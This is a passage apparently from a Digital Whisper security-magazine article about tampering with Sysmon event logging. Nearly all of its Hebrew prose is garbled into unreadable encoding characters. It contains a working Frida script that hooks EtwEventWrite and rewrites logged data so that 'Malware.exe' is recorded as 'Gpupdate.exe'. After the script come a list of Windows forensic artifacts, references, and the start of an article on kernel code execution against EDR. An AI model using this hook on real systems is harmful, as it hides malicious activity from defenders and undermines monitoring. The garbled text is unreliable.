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˧˪˩ˢ   x ˟˷   ˷ ˬ˸˷ˮ  ˸ˣ˵˯˰˸ˢ˪   ˫ ˰   ˭ ˣ˶˩˧ˤ  ˟˷˥ˬˢ  Σ ˷ ˧˷   ˭ ˧˧˴˪  π   ˞ ˣˢ   ˟ ˣˢ˞ˢ  ˧˧˪˰  Σˢˤ   ˧ ˪˩ˢ  Frida  Σ˶˷˞   ˞ ˣˢ  

˞ˣˢ  ˧˪˩ open source  ˶˷˲˞ˬ˷  ˵˧˶ˤˢ˪ ˧˰˦˵ JavaScript  ˣ˞  ˸ˣ˧˶˲˯   ˨ ˪˷ˬ  ˨ˣ˸˪  ˫˧˩˧˪ˢ˸  ˫˧˧˥,  ˧ˡ˩   ˦ ˶˧˧˪  

 ˸ ˣˮ˷˪ˣ ˸ˣ˞˧˶˵ ˢ˧˴˵ˮˣ˲  ˰ˡ˧ˬˣ ˭ˣ˶˩˧ˤ˟ Φ 

˧˪˩ˢ  ˨ˬˣ˸  ˸ˣ˩˶˰ˬ˟  Android, Linux, macOS, Windows  πxiOS  Σ˪˪ˣ˩ˣ  API  ˶˧˷˰  ˸˵˧˶˯˪  ˭ˣ˶˩˧ˤ  Σ˧ˣˮ˧˷   ˫ ˧˩˶˰  

˸˴˶ˢˣ ˫˧˦˲˧˶˵˯  ˭ˬˤ˟  ˸ˬ˞Φ 

¶ ˞˪   ˪ ˩ˣ˞ ˟˧˥˶ˢ˪   ˪ ˰ Frida ˵˧˲˯ˬ ˶ˬ˞ˬ˟ ˢˤ  Σ˭˩˪  ˧ˮ˞ ˳˧˪ˬˬ  ˞ ˣ˶˵˪ ˸˞ ˶ˬ˞ˬˢ ˪˷ ˪˟ˣ˧  ˶ˣˬ ˪˰ ˧˪˩ˢ Φ 

 

˸˶ˤ˰˟  ˶˵˥ˬ  ˪˵  ˦ˮ˶˦ˮ˧˞˟  ˭˸˧ˮ  ˞ˣ˴ˬ˪   ˷-Sysmon  ˷ˬ˸˷ˬ  ˢ˧˴˵ˮˣ˲˟  EtwEventWrite  Σ˶˷˞  ˞ˣˢ   ˞ ˟˧˧ˬ  

-ˬNTDLL.DLL  Φ 

ˣˮ˪ˤˬ˪  Σ x ˮ˷˧  ˡˣ˰˧˸  ˪˷  Microsoft  ˪˰  ˫˧˶˦ˬ˶˲ˢ   ˶ ˷˞  ˢ˧˴˵ˮˣ˲ˢ  ˸˪˟˵ˬ  ˭˩˪ˣ  ˢ˧ˢ˧  ˣˮ˪  ˪˵   l ˣ˞ˬ   l ˡˣˬ˸ˢ˪  

ˢ˸˧˞ Υ 

 

 

 ˭ ˣˣ˧˩ˬ  ˣˮ˶˯ˢ˷   ˸ ˞  ˢˮˠˢˢ  ˪˰  ˟˥˶ˬ   ˭ ˣ˶˩˧ˤˢ   ˪ ˷  ˨˧˪ˢ˸ˢ  Sysmon  Σ ˪ ˩ˣˮ   x ˧˷˩˰  ˸˶ˤ˰˟  Frida  ˰˴˟˪  Intercept  

˸ˣ˶˧˷˧ ˢ˧˴˵ˮˣ˲˪ Σ˰˴˟˪ˣ ˢ˟ ˫˧˧ˣˮ˧˷   ˸ ˶ˤ˰˟  ˡˣ˵  ˦ˣ˷˲  ˡˣ˞ˬ  π  ˢˮˢ  ˞ˬˠˣˡ  ˢ˦ˣ˷˲  ˧˸˟˸˩˷  ˢ˲˪˥ˢ˪  ˪˷   ˪ ˩  

ˢ˶ˣ˷  ˶˷˞ ˢ˪˧˩ˬ  Malware.exe ˫˰  Gpupdate.exe Υ 

var  targetFunc = Module.getExportByName( null , 'EtwEventWrite' );  
    console.log( "[+] Hooking EtwEventWrite at address: "  + targetFunc);  
     
    Interceptor .attach(targetFunc, {  
      onEnter: function (args) {  
        console.log( " \ n[+] EtwEventWrite called:" );  
     
        //Event ID from the EVENT_DESCRIPTOR struct (args[1]).  
        var  eventDescriptorPtr = args[ 1];  
        var  eventID = Memory.readU16(eventDescriptorPtr. add( 2));   // Event ID 
offset  
        console.log( "   -  Event ID: "  + eventID);  
  
     
        // Num of event data fields.  
        var  userDataCount = args[ 2].toInt32();  
        console.log( "   -  Number of Data Fields: "  + userDataCount);  
     
        // Reading event data.  
        var  eventDataPtr = args[ 3];  
        if  (userDataCount > 0 && !eventDataPtr.isNull()) {  
            console.log( "   -  Extracting Event Data" );  
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            for  ( var  i = 0; i < userDataCount; i++) {  
                var  descriptorPtr = eventDataPtr. add(i * 16);  
                var  dataPtr = Memory.readPointer(descriptorPtr. add( 0));  
                var  dataSize = Memory.readU32(descriptorPtr. add( 8));  
     
                if  (dataSize > 0) {  
                    try  {  
                        // Read the data as a string.  
                        var  originalData = Memory.readUtf16String(dataPtr, 
dataSize / 2);  
                        console.log( "     -  Data["  + i + "]: "  + originalData);  
                        // Modify the event log data if it contains 
"Malware.exe"  
                        if  (originalData.indexOf( "Malware.exe" ) !== - 1) {{  
                            console.log( "     - > Replacing Malware.exe with 
Gpupdate.exe" );  
                             
                            var  newStr = "Gpupdate.exe" ;  
                            var  maxChars = (dataSize / 2) -  1;  
     
                            if  (newStr.length > maxChars) {{  
                                console.log( "   ----- > New string too long, 
truncating from "  + newStr.length + " to "  + maxChars + " characters." );  
                                newStr = newStr.substring( 0, maxChars);  
                            }} else  if  (newStr.length < maxChars) {{  
                                // Padding the new string with spaces to match 
the original buffer size.  
                                newStr = newStr.padEnd(maxChars, ' ' );  
                            }}  
     
                            // Writing new string instead.  
                            Memory.writeUtf16String(dataPtr, newStr);  
                             
                        }}  
                    } catch  (e) {  
                        console.log( "     -  Data["  + i + "]: Error reading 
string: "  + e);  
                    }  
                }  
            }  
        }  
      },  
     
      onLeave: function (retval) {  
      }  
});  

 

 

¶ xˤ ˞ˬˠˣˡ ˡˣ˞ˬ ˢ˦ˣ˷˲ ˭˩˪ˣ  ˭ ˧˞ ˸ˣ˵˯˰˸ˢ ˫˰ ˨˶ˣ˞ s-Data  ˷ˡ˥ˢ,  ˭ ˣˣ˧˩ˬ ˢˤ˷ ˨˧˶˴˧  ˢ˶˧˴˧ ˪˷  ˦ ˵˧˧˟ˣ˞  

EVENT_DATA_DESCRIPTOR ˷ˡ˥  ˧˶ˬˠ˪ Φ 
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˸˶ˤ˰˟ Frida  ˦˲˧˶˵˯ˢˣ ˦ˣ˷˲ˢ ˣˮ˪˷  ˰ ˴˟ˮ Hook  s ˧˴˵ˮˣ˲˪ ˣˮ˥ˮ˞˷ ˫˧˷˲˥ˬ Υ 

 

 

˪˩ˣˮ  ˸ ˣ˞˶˪  x ˮ˥ˮ˞˷ ˫˧˥˧˪˴ˬ   ˶ ˯˶˲˪ ˸˞ ˫˧ˠˣ˪ˢ ˣˬ˩  ˨ ˧˶˴˷Υ 

 

 x ˧˷˩˰ ˵ˣˡ˟ˮ  ˫˞  ˧ ˣˮ˧˷  ˫ ˧ˠˣ˪ˢ  ˡ˟ˣ˰ ˣˬ˩  ˨˧˶˴˷ ˪˰   ˧ ˡ˧ ˢ˴˶ˢ  ˪˷ ˢˮ˩ˣ˸  ˶ ˷˞  ˞ ˶˵ˮ ˢ˪  Malware.exe Υ 

 

 

˭˸˧ˮ ˸ˣ˞˶˪ ˭˩˞˷ ˣˮ˥˪˴ˢ  ˸ˣˮ˷˪  ˸ ˞  ˫ ˧ˠˣ˪ˢ Υ 
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ˢ˶˵ˬ˟  ˢ˲˧˵˸  ˧˸˧ˬ˞  ˪˩ˣˮ  ˸ˣˮ˷˪  ˸˞  ˫˧ˠˣ˪ˢ  ˨˩   x ˠ˧˴˧˷  ˵˧ˣˡˬ˟  ˰ˡ˧ˬ  ˪˷   ˨ ˧˪ˢ˸  ˧ˬ˧˦˧ˠ˪  ˢ˴˶ˮ˷   ˭ ˣˣ˩˪   ˸ ˞  

˸ˬˣ˷˸  ˟˪ˢ  ˪˷  ˧˸ˣˣ˴   s ˮˠˢˢ  ˣ˧˪˞  Σ˫ˣ˵ˬ˟  ˨˧˪ˢ˸˪   l ˣ˷˥ˢ  ˣˮ˪˷  Φ˪˟˞  ˢˬ  ˧˸ˠ˴ˢ˷  ˶ˬ˞ˬ˟  ˢˤ  ˵˧˲˯ˬ   ˧ ˡ˩  

˶˧˟˰ˢ˪  ˸˞ ˢˡˣ˵ˮˢ ˫˰˲˪ ˸˞ˤˢΦ 

ˢ˦˧˷  ˢ˟ˣ˦  ˢ˧ˢ˸   ˸ ˣ˯ˮ˪  ˷˲˥˪ˣ   ˫ ˧˩˧˪ˢ˸   ˫ ˧˧ˬ˧˦˧ˠ˪  ˫˧ˠˢˮ˸ˬ˷   s ˶ˣ˴˟  ˧˩ˢ  ˢˬˣˡ   ˸ ˣ˪ˣ˰˲˪   ˸ ˣ˧ˮˣˡˤˢ  

˭ˮ˩ˣ˸ˬ˷  ˰ ˴˟˪ ˷ˬ˸˷ˢ˪ˣ  ˫ˢ˟ ˩π Scapegoat Σ  ˨ ˧˪˷ˢ˪ˣ ˫ˢ˧˪˰  ˸˞ ˡ˷˥ˢ ˪˷  ˧ ˸ˣˣ˴ ˢˮˠˢˢΦ 

 

ˡ˴ ˪ˣ˥˩ 

 ˟ ˣ˷˥  ˭˧˧˴˪   ˞ ˪˷   s ˷˰ˮ  ˢ˲  ˫ˣ˷  ˶˟ˡ  ˟˩˶ˣˬ  ˧ˡˬ  Σ˷˧ˣ  ˢ˦˧˷˪  ˸˞ˤˢ   ˭ ˣˬˢ   ˸ ˣˡˣ˵ˮ  ˢ˲˶ˣ˸  Φ˸˧˶˵˧˰ˢ  ˞˧ˢ   x ˮ˥ˮ˞˷  

˫˧˲˵ˣ˸  ˶ˣ˵ˬ  ˫˧ˠˣ˪  ˡ˥˞  ύ˭˟ˣˬ˩  ˱˵ˣ˸ˢ˷   ˪ ˣ˩˧  ˭ˣˣ˩˪  ˪˩˪  ˸ˣ˶ˣ˵ˬˢ  ˶˷˞  ˫˧˶˧˞˷ˬ  ˸ˣ˧˞˶  ˨˞  ˡ˧ˬ˸   ˷ ˧   ˸ ˣˬ˩  

ˢ˰˵˷ˢ  ˸ˬ˧ˣ˯ˬ  ˪ˣˬ   ˸ ˣˬ˩  ˸˪˰ˣ˸  Σό˭˩˪ˣ  ˭˸˧ˮ   ˸ ˣ˪˵˟   ˸ ˧˯˥˧   ˸ ˶ˤ˰˟  ˢ˞ˣˣ˷ˢ   ˫ ˧˦˵˲˧˦˶˞˪   ˫ ˧ˮˣ˷   ˞ ˣ˴ˬ˪   ˸ ˞  

 ˶ ˯ˣ˥  ˸ˣˬ˧˞˸ˢ  ˭˧˟  ˫˧ˠˣ˪ˢ   π  ˭˧˟˪  ˸ˣ˪ˣ˰˲ˢ  ˣ˶˵˷  ˪˰ˣ˲˟  Φ˞ˬˠˣˡ˪  ˢˤ˧˞  ˫˧˩˧˪ˢ˸  ˣ˴˶  Σˣ˪˧˞  ˫˧˧ˣˮ˧˷   x ˷˰ˮ   ˪ ˰  

˵˯˧ˡˢ xˢˬˣˡ˩Φ 

˫˧˦˵˲˧˦˶˞   ˶ ˷˞ ˭˸˧ˮ  ˷ˬ˸˷ˢ˪ ˫ˢ˟ ˧ˡ˩  ˱ ˣ˷˥˪ ˸˞  ˸˦˧˷ ˸˶˸˯ˢ ˢ˲˧˵˸ˢ   x ˮˬˠˡˢ˷ Υ 

¶ Prefetch Files  π  ˫˧˴˟˵  ˸˩˶˰ˬ˷  Windows  ˸˶˴ˣ˧   ˧ ˡ˩  ˤ˶ˤ˪  ˢˮ˧˰˦  ˪˷  ˸ˣˮ˩ˣ˸  π   ˫ ˧˪˧˩ˬ   ˰ ˡ˧ˬ  ˧˸ˬ   x ˪˧˞ˣ  

˸ˣˮ˩ˣ˸ ˣ˴˶ˣˢ Φ 

¶ Shimcache  π  s ˬˣ˷˶   ˭ ˣ˶˩˧ˤ˟ ˪˷   ˸ ˩˶˰ˬ   s ˪˰˲ˢˢ(Application Compatibility Cache)  π  ˸ ˡ˰˸ˬ  ˣ˪˧˞  

˫˧˴˟˵ ˣ˰˴ˣ˟ ˶˟˰˟ Σ˫ˠ  ˫˞ ˶˟˩ ˣ˵˥ˬˮ. 

¶ Amcache  π  ˫ˣ˷˧˶  ˱˯ˣˮ  ˪˷  ˸˪˰˲ˢ  ˸ˣˮ˩ˣ˸  ˫˧˴˟˵ˣ  Σ˪˪ˣ˩  ˫˧˦˶˲  ˣˬ˩   ˫ ˣ˵˧ˬ  Σˢˬ˧˸˥  Σ˫˧˩˧˶˞˸  π   ˶ ˬ˷ˮ  

˸˥˸ ˠ˶ˢϥ˧˶˦˯˧. 

¶ Registry Artifacts  ύ ˸ ˣ˧˶˞˷   ˰ ˡ˧ˬ  ˠ˶˟ϥ˧˶˦˯˧  ˪˷  Windows Σ ˸ˣ˪ˣ˩˧˷   ˰ ˧˟˴ˢ˪  ˪˰  ˸ˣˮ˩ˣ˸   ˸ ˣ˪ˣ˰˲ˣ  

ˣ˰˴ˣ˟˷. ό 

o User Assist π  ˫ ˷ˣ˶  x ˪˧˞ ˸ˣˮ˩ˣ˸ ˣ˪˰˲ˣˢ  ˨˶ˡ  ˵ ˷ˬˬ ˷ˬ˸˷ˬˢ. 

o MRU listsΣ  ˸ˣˬ˧˷˶Most Recently Used π ˸ˣ˵˲˯ˬ ˰ˡ˧ˬ  ˪˰  ˫ ˧˴˟˵κ˫˧˟˧˸ˮ  ˣ˥˸˲ˮ˷  ˢˮˣ˶˥˞˪. 

o RecentDocs π  ˸ˣˬ˷  ˫ ˧˩ˬ˯ˬ ˷ˬ˸˷ˬˢ˷  ˥ ˸˲ ˢˮˣ˶˥˞˪ Φ 

¶ Shortcut (LNK) Files & Jump Lists  π  ˧˶ˣ˴˧˵  ˨˶ˡ(LNK)  ˧˴˟˵ˣjump list  ˫˧ˡ˰˸ˬ  ˣ˪˧˞  ˫˧˴˟˵   x ˥˸˲ˮ  

˧˸ˬˣ π  ˫ˠ ˫˞  ˫ ˧˴˟˵ˢ ˫ˬ˴˰ ˣ˵˥ˬˮ. 

¶ NTFS Artifacts  π  ˰ˡ˧ˬ  ˢˮ˟ˣˬ  ˸˩˶˰ˬ˟  ˫˧˴˟˵ˢ  ˪˷Windows (NTFS)  ˣˬ˩timestamps,  ˸ˣ˞˷˶ˢ  Σ

˸˧˧˶ˣ˦˯˧ˢ  ˫˧˧ˣˮ˧˷. 

¶ Master File Table (MFT) records and USN Journal entries 

o MFT Υ  ˸ ˪˟˦ ˞˦ˬˢπ˫˧ˮˣ˸ˮ  ˪˷ ˪˩  ˳˟ˣ˵ ˵˯˧ˡ˟ π ˸˵˲˯ˬ ˰ˡ˧ˬ  ˪˰  ˫ˣ˧˵  ˫˧˴˟˵  ˫ˠ  ˫ ˞ ˣ˵˥ˬˮ. 

o USN Journal Υ˭ˬˣ˧  ˫˧˧ˣˮ˧˷  ˸ˬ˶˟ NTFS π ˡ˰˸ˬ ˸ˣ˪ˣ˰˲  x ˬ˩ ˢ˶˧˴˧ Σ˧ˣˮ˧˷ Σˢ˵˧˥ˬ   ˪ ˷ ˫˧˴˟˵Φ 

http://www.digitalwhisper.co.il/


 
 

    
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  ул 
 

¶ Shellbags  π   ˫ ˧ˬ˷ˣ˶   ˸ ˞  ˨˶ˡˢ  ˢ˟  ˣ˥˸˲ˮ   ˸ ˣ˧˵˧˸  ˵˷ˬˬ˟  ˧˲˶ˠˢ  ύ˪˪ˣ˩   ˸ ˣ˧˵˧˸  ˪˰  ˫˧ˮ˵˸ˢ  ˫˧˧ˮˣ˴˧˥ ό  Σ

˶˷˲˞  ˸˰ˡ˪ ˷ˬ˸˷ˬˢ˷ ˥˸˲ ˢ˧˵˧˸ ˫ˠ  ˫ ˞ ˞˧ˢ ˶˟˩  ˞˪  ˸ˬ˧˧˵. 

¶ WMI and PowerShell Logs  π  ˫˧ˮˬˣ˧  ˫˧ˡ˰˸ˬ˷  ˸˴˶ˢ  ˫˧˦˲˧˶˵˯  ˣ˞  ˸ˣˡˣ˵˲  ˨˶ˡPowerShell  x˞   WMI Φ 

 

˭˸˧ˮ  ˯ˣ˶˲˪  ˸ˣˮˠˢ  ˟˵˰ˬˣ  ˪˰  ˧˪˩  ˶ˣ˦˧ˮˢ  ˣˮ˪˷  ˧ˡ˩  ˸ˣˢˤ˪  ˰ˣˮˬ˪ˣ  ˢ˰˧ˠ˲  ˫ˢ˟  Φ˪˩ˣˮ  ˰˴˟˪  ˧ˣˢ˧ˤ  ˪˷  Vulnerable 

Drivers  Σ˶ˣ˴˧˪ ˧˵ˣ˥ ˶ˣ˦˧ˮ ˫˧˷˧ˬˠ   ˶ ˸ˣ˧ ˞˪ˣ   ˨ ˬ˸˯ˢ˪ ˪˰ ˸ˣ˶ˣ˵ˬ   ˫ ˧ˠˣ˪ ˫˧ˡˡˣ˟ Φ 

˱˯ˣˮ˟  ˨˩˪  ˭˸˧ˮ  ˸ˣ˯ˮ˪  ˯ˣ˲˸˪  ˸˞  ˢ˪ˣ˰˲ˢ  ˸˧ˮˣ˷˞˶ˢ  ˧ˮ˲˪  ˱˵ˣ˸ˢ˷  ˥˧˪˴ˬ  ˪˟˥˪  ˧˩˧˪ˢ˸˟  ˶ˣ˦˧ˮˢ   x ˮ˪˷  Σ ˨ ˞  

ˢˤ   ˧ ˣ˪˸   l ˣ˞ˬ  ˢ˶ˣ˴˟   s ˟˷   ˱ ˵ˣ˸ˢ   ˰ ˴˟ˬ   ˸ ˞  ˢ˲˧˵˸ˢ  Σ˭˩˪ˣ   ˭ ˧˞  ˣˢ˷ˬ   ˶ ˷˞  ˭˸˧ˮ   ˭ ˮˣ˩˸ˢ˪  ˣ˧˪˞  ˢ˞ˬ˟   ʕ ˣ˥˞  

˷˞˶ˬ Φ 

 

 ˸ ˣˮ˵˯ˬ 

˶ˬ˞ˬ˟  ˢˤ  ˣˮ˶˟˰  ˪˰  ˸˦˧˷  ˢ˲˧˵˸  ˸˪˴ˮˬ˷  ˢ˷˪ˣ˥  ˡˣ˞ˬ  ˸˧˸ˣ˰ˬ˷ˬ  ˪˴˞  ˸ˮˠˢ  ˶˟˧˧˯ˢ  Σ˞˧ˢˣ   ˸ ˣˡˡˣˬ˸ˢ  

˫˰ False Positives Φ 

 ˟ ˣ˶  ˭ˬˤˢ  ˥ˣˬˢ   x ˮ˪˷   ˭ ˣˣ˩˧  ˣˮ˸ˣ˞   ˸ ˣ˶˷˲˞˪  ˢ˥ˣˮˢ   s ˪˵ˢˣ  ˶˸ˣ˧˟  Φ˶˷˞˩   ˫ ˮ˷˧   ˶ ˲˯ˬ   ˟ ˶  ˪˷  ˫˧˰ˣ˶˧˞   ˟ ˣ˶˷  

˭ˬˤˢ  ˫ˮ˧˞  ˧˰ˣ˶˧˞  ˸ˬ˞  ˣ˞  ˶˟ˣˡˬ˷  ˢ˪˵˸˟  Σ˫˧˷ˮ˞  ˫˧˪˧ˠ˶  ˨˩˪   ˭ ˧˞˷  ˨˶ˣ˴  ˰˧˵˷ˢ˪   ˶ ˣ˵˥˪ˣ  ˣˢ˷ˬ  ˶˷˞   ˪ ˰  

˧ˮ˲ ˥˦˷ˢ ˢ˞˶ˮ  ˧ˬ˧˦˧ˠ˪ Φ 

ˢ˲˧˵˸˟  ˣˮ˪˷  Σ ˫ ˧ˠˣ˪ˢ   ˭ ˩˞  ˫˧˰˧˟˴ˬ  ˪˰   ˨ ˩  ˢ˷˰ˮ˷  ˣˢ˷ˬ   ˧ ˬ˧˦˧ˠ˪  Σ˨˩  ˫ˠ˷  ˫˞  ˣ˶˵˥˧   ˸ ˞  ˨˧˪ˢ˸ˢ  ˢˢˣˤ˷  

˶ˣ˦˧ˮ˟   ύ˫˞  ˪˪˩˟  Σόˢˬ  ˰˧˲ˣ˧˷  ˫˧ˠˣ˪˟  ˢ˧ˢ˧  ˨˧˪ˢ˸  ˧ˬ˧˦˧ˠ˪  ˭˧˦ˣ˪˥˪  Σ ˞ ˪ˣ  ˢ˧ˢ˧  ˭ˬˬ˯  ˰˧˶˸˧˷  ˣˮ˪  ˪˰   ˨ ˩  

˷˥˶˸ˢ˷ ˢ˲   ˶ ˸ˣ˧ ˶˷˞ˬ  s ˬ ˢ˞˶ˮ˷  ˭˧˰˪ Φ 

˶˟ˡˢ   ˶ ˷˞  ˧ˮ˞   s ˴ˣ˶   ˸ ˣ˪˰ˢ˪  ˶ˬ˞ˬ˟  ˢˤ  Σ˞ˣˢ  ˞˪˷  ˢˮ˷ˬ  ˢ˲˧˞  ˫˸˞   ˫ ˧ˡ˵˲˸ˬ  ˫˪ˣ˰˟  ˶˟˧˧˯ˢ  Σˣˮ˥ˮ˞   ˫ ˧˩˧˶˴  

ˡ˧ˬ˸  ˸ˣ˧ˢ˪  ˫˧˧ˮ˶˰  ˶ ˢˤ˧ˢ˪ˣ ˞˪ ˪ˠ˶˸ˢ˪  ˸˶ˣ˴˪  l ˣ˵˲˸ˢ ˸˧˥˩ˣˮˢ  Σ˫˩ˮ˧˞  ˫˧˪ˣ˩˧   ˸ ˰ˡ˪ ˧˸ˬ  ˶ ˟ˡ ˶˷˞  s ˞˶ˮ  

˧˶ˬˠ˪ ˧ˬ˧˦˧ˠ˪  ˧ ˩ ˫˸˪ˠ˶˸ˢ  ˣ˧˪˞ Σ˪ˣ˩˧ ˫˴˰˟  ˸ˣ˧ˢ˪ ˢ˲˧˵˸  ˢˬ˪˷ ˸˧˶ˣ˵˷ ˸˥˸ˬ ˱˞˪ ˫˩˪˷Φ 

 

˭˩˪  ˡ˧ˬ˸   ˧ ˞ˡ˩  ˸ˣ˧ˢ˪  ˫˧ˮ˩ˣˬ  ˪˩˩   ˭ ˸˧ˮ˷  ˧ˡ˩˟   ˞ ˪   ˵ ˶   l ˡˣˬ˸ˢ˪   ˫ ˰  ˧ˣˢ˧ˤ  ˫˧ˬˣ˧˞  Σ ˞ ˪˞  ˫ˠ   ˭ ˮˣ˩˸ˢ˪   s ˶˵ˬ˪  

ˣ˟˷  ˱ ˵ˣ˸ˢ ˞˴ˬˮ  ˶ ˟˩ ˸˷˶˟  ˡ˴˧˩ˣ ˪˩ˣˮ  ˫˴ˬ˴˪  ˸˞ ˵ˤˮˢ ˧˪˞˧˴ˮ˦ˣ˲ˢ ˷˞˶ˬ Φ 

 

ˢˬ˧ˮ˟ˣ ˸˞ˤ Σ   

ˢˡˣ˸ ˢ˟˶ ˪˰ ˨˩  ˫˸˰˵˷ˢ˷  ˫˩ˮˬˤˬ ˞ˣ˶˵˪ ˸˞ ˶ˬ˞ˬˢ Σ˧ˮ˞ ˢˣˣ˵ˬ ˢˤ˷ ˢ˧ˢ ˭˧˧ˮ˰ˬΦ  
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˪˰  ˶ ˟˥ˬˢ 

˧ˬ˷  ˧˰ˣ˶  ˢ˧˧˸˲  Σ˶˶˥ˣ˷ˬ   ˧ ˶˦  ˶˥˞˪  ˸ˣ˶˧˷  ˧˸ˣ˰ˬ˷ˬ  ˵ˣ˯˧˰ˣ   ˸ ˣˬ˪ˣ˰˟  ˢˮˠˢˢ  Σ ˸ ˣ˶˧˵˥ˢ  ˸ˣ˧ˤˮ˶ˣ˲ˢ   ˧ ˮˣˬ˧˞ˣ  

˶˟˧˧˯ˢΦ 

˟˧˟˥˸˩ Σ˧ˮ˞ ˟ˢˣ˞  Ϧ˶ˣ˟˷˪  Ϧ˸ˣ˩˶˰ˬ ˸ˣ˧˴˵˧˪˲˞ˣ  ύ˫˧ˬ˰˲˪ˣ ˫ˠ ˫˧˵˥˷ˬ όπ ˨ˣ˸ˬ ˭ˣ˴˶  ˡˣˬ˪˪  Σ˭˧˟ˢ˪ Σ ˱ ˸˷˪ˣ  

˸ˣˮˣ˧˰˶  ˪ ˣ˩˧˷˫˧  ˶ˣˤ˰˪   ˫ ˪ˣ˰˪  ˧˸ˮˠˢˢ ˶ˣˬ˷˪   ˪ ˰ ˸˧ˣˣˤ ˢ˧˧˞˶ ˢˮˮ˰˶ ˸˧˸˶˧˴˧ˣ ˪ˣˬ ˫˧ˬˣ˧˞  ˫˧˥˸˲˸ˬΦ 

˸ˣ˲˶˦˴ˢ˪  ˥˧˷˪  ˣ˞  ˸ˣ˪˞˷˪  Σ˫˧ˮˬˤˣˬ  ˸ ˣˮ˲˪  ˧ ˧˪˞ ˭˧˞ˡ˵ˮ˧˪˟  όΥ 

https://www.linkedin.com/in/roei-fetaya-11aa03240 

 

˸ˣ˶ˣ˵ˬ  ˰ ˡ˧ˬ 

¶ https://itm4n.github.io/debugging-protected-processes/ 

¶ https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess 

¶ https://exatrack.com/public/SysmonInternals.pdf 

¶ https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/strategies-to-monitor-

and-prevent-vulnerable-driver-attacks/4103985 

¶ https://frida.re/  

¶ https://medium.com/@boutnaru/the-windows-security-journey-ppl-protected-processes-

light-831d5f371004 

¶ https://medium.com/@peace_o_O/introduction-to-windows-artifacts-your-gateway-to-

effective-incident-response-cc39172af3a3 

¶ https://medium.com/@mehrnoush/shimcache-amcache-forensic-analysis-99a8a9733772 

¶ https://0xv1n.github.io/posts/processprotection/ 

 

 

 

 

http://www.digitalwhisper.co.il/
https://www.linkedin.com/in/roei-fetaya-11aa03240
https://itm4n.github.io/debugging-protected-processes/
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess
https://exatrack.com/public/SysmonInternals.pdf
https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/strategies-to-monitor-and-prevent-vulnerable-driver-attacks/4103985
https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/strategies-to-monitor-and-prevent-vulnerable-driver-attacks/4103985
https://frida.re/
https://medium.com/@boutnaru/the-windows-security-journey-ppl-protected-processes-light-831d5f371004
https://medium.com/@boutnaru/the-windows-security-journey-ppl-protected-processes-light-831d5f371004
https://medium.com/@peace_o_O/introduction-to-windows-artifacts-your-gateway-to-effective-incident-response-cc39172af3a3
https://medium.com/@peace_o_O/introduction-to-windows-artifacts-your-gateway-to-effective-incident-response-cc39172af3a3
https://medium.com/@mehrnoush/shimcache-amcache-forensic-analysis-99a8a9733772
https://0xv1n.github.io/posts/processprotection/


 
 

 πYŜǊƴŜƭ    /ƻŘŜ 9ȄŜŎǳǘƛƻƴ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  ун 
 

 πYŜǊƴŜƭ     /ƻŘŜ 9ȄŜŎǳǘƛƻƴ 

˸˞ˬ  ˶ ˬˣ˰ ˟˞ˣ˧ 

 

ˢˬˡ˵ˢ   

 ˶ ˟˰˟  Σ˧ˮ˲˪  ˣ˪˧˥˸ˢ˷   ˟ ˣ˷˥˪  ˪˰  ˢˮˠˢ  ˶˟˧˧˯˟  Σ˧ˡ˩   ˫ ˣ˶ˠ˪  ˨˧˪ˢ˸˪  ˵˥ˣ˶ˬ  ˳˧˶ˢ˪  ˡˣ˵  ˣˮ˪˷  Σˣˮ˪ˣ˩˧   ˦ ˣ˷˲  

˸ˣ˴˵ˢ˪   ˟ ˥˶ˬ  ˭ˣ˶˩˧ˤ  ˪˷  ˨˧˪ˢ˸  ˵˥ˣ˶ˬ  Σ˟ˣ˸˩˪  ˣ˧˪˞   ˸ ˞  ˰ˡ˧ˬˢ  ˧ˮˣˡˤˢ ˣˮ˥ˮ˞˷  ˫˧˴ˣ˶  Σ˳˧˶ˢ˪  ˶ˣ˴˧˪ˣ  thread  

˷ˡ˥  ˨˧˪ˢ˸˟  ˵˥ˣ˶ˬˢ  Σ˳˧˶˧˷  ˸˞  ˡˣ˵ˢ  ˣˮ˟˸˩˷   ˭ ˣ˶˩˧ˤ˪  ˣ˪˷  Φˣˮ˶˰˴˪,  ˪˩  EDR  ˡ˟˩ˬ˷   ˸ ˞  ˣˬ˴˰  ˣˮ˧˞   ˶ ˷˲˞ˬ  

˸˷ˣ˪˷ ˫˧˟˪˷ˢ ˫˧˟˵ˣ˰ˢ  Φ 

˭˩˪  Σ ˧ ˟ˣ˦  ˣˮ˧ˮ˟  ˣˮ˧˸ˣˮ˟ˣ  ˫˧ˡ˵ˣ˷  ˳˶ˬ˟   ˪ ˰   ˸ ˞˧˴ˬ  ˫˧˩˶ˡ  ˸ˣ˷ˡ˥  ˠ˧˷ˢ˪   ˸ ˪ˣ˩˧  ˸˴˶ˢ  ˡˣ˵  ˪˰  ˨˧˪ˢ˸  ˵˥ˣ˶ˬ  Σ

˞˪˪ ˷ˣˬ˧˷ˢ  ˢ˧˴˵ˮˣ˲˟ ύx˞ ˸˥˞˟  ˸ ˣ˧˴˵ˮˣ˲ˬ  ˷ ˣˬ˧ˬˢ ˢ˪˷  όCreateRemoteThread  Φ 

˸˪ˣ˩˧ˢ  ˶ˣ˴˧˪ ˨˧˪ˢ˸ ˵˥ˣ˶ˬ  ˞˪˪  ˷ˣˬ˧˷ ˟πCreateRemoteThread x˞ ˣ˧˸ˣ˪˧˟˵ˬ , ˸˩˲ˣˢ  ˸˞ ˸˩˞˪ˬ  ˧ ˣˢ˧ˤˢ  

˪˷  ˧ ˮˣˮˠˮˬ ˢˮˠˢ ˣˬ˩ EDRπ ˫ ˧   ˸ ˟˩˶ˣˬ˪ ˢ˟˶ˢ  ˶˸ˣ˧ Φ 

